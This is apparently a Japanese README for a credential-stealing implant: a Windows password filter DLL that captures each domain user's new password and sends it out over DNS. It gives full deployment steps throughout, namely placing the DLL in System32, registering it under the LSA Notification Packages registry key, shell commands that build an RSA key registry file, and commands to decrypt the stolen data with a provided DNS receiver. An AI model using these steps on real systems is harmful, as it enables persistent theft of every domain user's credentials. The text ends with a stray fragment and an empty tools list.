
DLLパスワードフィルタインプラント(流出機能搭載)
DLLPasswordFilterImplant は、ユーザーの資格情報をキャプチャできるカスタムパスワードフィルターDLLです。ドメイン上でパスワード変更イベントが発生するたびに、登録されたDLLがトリガーされ、Active Directory (AD) でパスワードが正常に変更される前に、ユーザー名と新しいパスワード値を外部に送信します。
パスワードフィルターの詳細については、Microsoft のドキュメントを参照してください。
対象アーキテクチャ用のDLLを作成します。32ビットシステムの場合は32ビットで、64ビットシステムの場合は64ビットでコンパイルしてください。
DLLをWindowsのインストールディレクトリにコピーします。(デフォルトフォルダー: \Windows\System32)
以下のレジストリキーを更新してパスワードフィルターを登録します:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Notification Packages サブキーが存在する場合は、DLLの名前(名前を変更していなければ "DLLPasswordFilterImplant")を既存の値データに追加します。既存の値を上書きしないでください。
サブキーが存在しない場合は作成し、DLLの名前(名前を変更していなければ "DLLPasswordFilterImplant")を値データに追加します。
注意: Notification Packages サブキーにDLLの名前を追加する際には、.dll 拡張子を含めないでください。
資格情報の暗号化に使用する公開鍵を構成します。
KEY=key.pem
# RSA鍵を生成し、その公開鍵をダンプします。復号用に秘密鍵は保持しておいてください。
openssl genrsa -out $KEY 2048
# Windowsレジストリキーエントリを準備します。
echo 'Windows Registry Editor Version 5.00' > addKey.reg
echo >> addKey.reg
echo '[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]' >> addKey.reg
# python2が存在しない場合は、代わりに `python` を使用してください。
echo "Key=hex:$(openssl rsa -in $KEY -pubout | sed -E '/^\-/d' | base64 -d | python2 -c 'import sys; print(",".join(["{:02x}".format(ord(b)) for b in sys.stdin.read()]))')" >> addKey.reg
その後、addKey.reg ファイルを実行して、公開鍵の生データをレジストリに追加できます。
非対称暗号化を使用すると、メッセージのパディングのために外部送信するデータのサイズが大幅に増加することに注意してください。データのオーバーヘッドを削減するための改善の余地があります。
システムを再起動します ソース
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
暗号化されたデータはOAEPでパディングされており、次のように復号できます:
# 連結された16進文字列を生のバイトに変換します。
xxd -r -p exfiltrated.hex > raw.bin
# 秘密鍵を使用して復号します。
openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt
システムからパスワードフィルターを完全に削除するには:
以下のレジストリキーを更新してパスワードフィルターの登録を解除します:
HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa
Notification Packages サブキーで、既存の値データからDLLの名前を削除します。他の既存の値は削除しないでください。
システムを再起動します
Windowsのインストールディレクトリ(デフォルトフォルダー: \Windows\System32)で、パスワードフィルターDLL(名前を変更していなければ "DLLPasswordFilterImplant.DLL")を見つけてファイルを削除します。
外部送信されたデータを受信するシンプルなDNSサーバーが scripts/ に用意されています。
仮想環境を使用することを推奨し、pip install -r scripts/requirement.txt を実行してください。その後、.PEMエンコードされた秘密鍵と、資格情報を出力するオプションの出力ファイル(デフォルトは creds.txt)を指定します。
現在、このDNSサーバーは同時パスワード変更に対応しておらず、概念実証としてのみ機能します。サーバーの堅牢性を高めるプルリクエストは大歓迎です。
動作確認済み:
パスワードフィルターは、上記のシステムでのみテストされています。
DLLのデバッグに役立つツールをいくつか紹介します(必要に応じて):